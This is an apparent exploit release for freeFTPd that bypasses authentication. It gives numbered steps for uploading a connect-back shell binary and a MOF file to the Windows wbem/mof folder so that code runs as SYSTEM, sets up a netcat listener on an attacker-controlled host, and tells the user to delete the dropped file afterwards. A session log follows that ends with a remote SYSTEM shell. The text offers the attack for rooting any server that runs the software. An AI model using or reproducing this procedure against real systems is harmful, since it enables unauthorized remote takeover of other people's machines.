freeFTPd 1.2.6 - Remote Authentication Bypass











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FreeFTPD all versions Remote System Level Exploit Zero-Day -- No username needed, straightforward rooting!
Discovered & Exploited By Kingcope
Year 2011

Example banner: WeOnlyDo-wodFTPD

This package includes all you need to successfully root any version of FreeFTPD:

* Modified version of ssh.exe (FreeFTPD authentication bypass)
* sftp.exe for connecting to the server
* nullevent.exe connect back shell that is uploaded to the server
* nullevent.mof file which is uploaded to the server to execute the connect back shell
* MSVCR100.dll that is needed by nullevent.exe 
* scan logs for your pleasure!

We make use of the STUXNET technique to execute code, So let's go:

1.) Setup a netcat on a host you have, firewall open on the listening port
2.) modify nullevent.mof in an editor (where the ip and port is) according to your netcat config
3.) connect to the FreeSSHD: sftp.exe -S ./ssh.exe <ip/host>
4.) upload (put) nullevent.exe: put nullevent.exe
5.) upload (put) MSVCR100.dll: put MSVCR100.dll
6.) upload (put) nullevent.mof to wbem/mof/nullevent.mof: put nullevent.mof wbem/mof/nullevent.mof
7.) Enjoy your system shell which will blink up on you netcat after 1 minute!!
8.) Cleanup by deleting nullevent.exe located in c:\windows\system32\
8.)  Enjoy!
9.)  Enjoy!
10.) Enjoy!

Example exploitation session:

C:\Users\KC\Desktop\FreeFTPD_0day>sftp -S ./ssh.exe
Could not create directory '/home/KC/.ssh'.
The authenticity of host ' (' can't be established.
RSA key fingerprint is a8:ba:6d:0a:c6:ae:8b:a1:b6:47:7b:43:a8:de:4b:8e.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/KC/.ssh/known_hosts).
Connected to
sftp> put nullevent.exe
Uploading nullevent.exe to /nullevent.exe
nullevent.exe                                                                         100% 7168     7.0KB/s   00:00
sftp> put MSVCR100.dll
Uploading MSVCR100.dll to /MSVCR100.dll
MSVCR100.dll                                                                          100%  751KB  22.8KB/s   00:33
sftp> put nullevent.mof wbem/mof/nullevent.mof
Uploading nullevent.mof to /wbem/mof/nullevent.mof
nullevent.mof                                                                         100%  691     0.7KB/s   00:00

[root@vs2067037 ~]# nc -v -l 443
Connection from port 443 [tcp/https] accepted
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

nt authority\system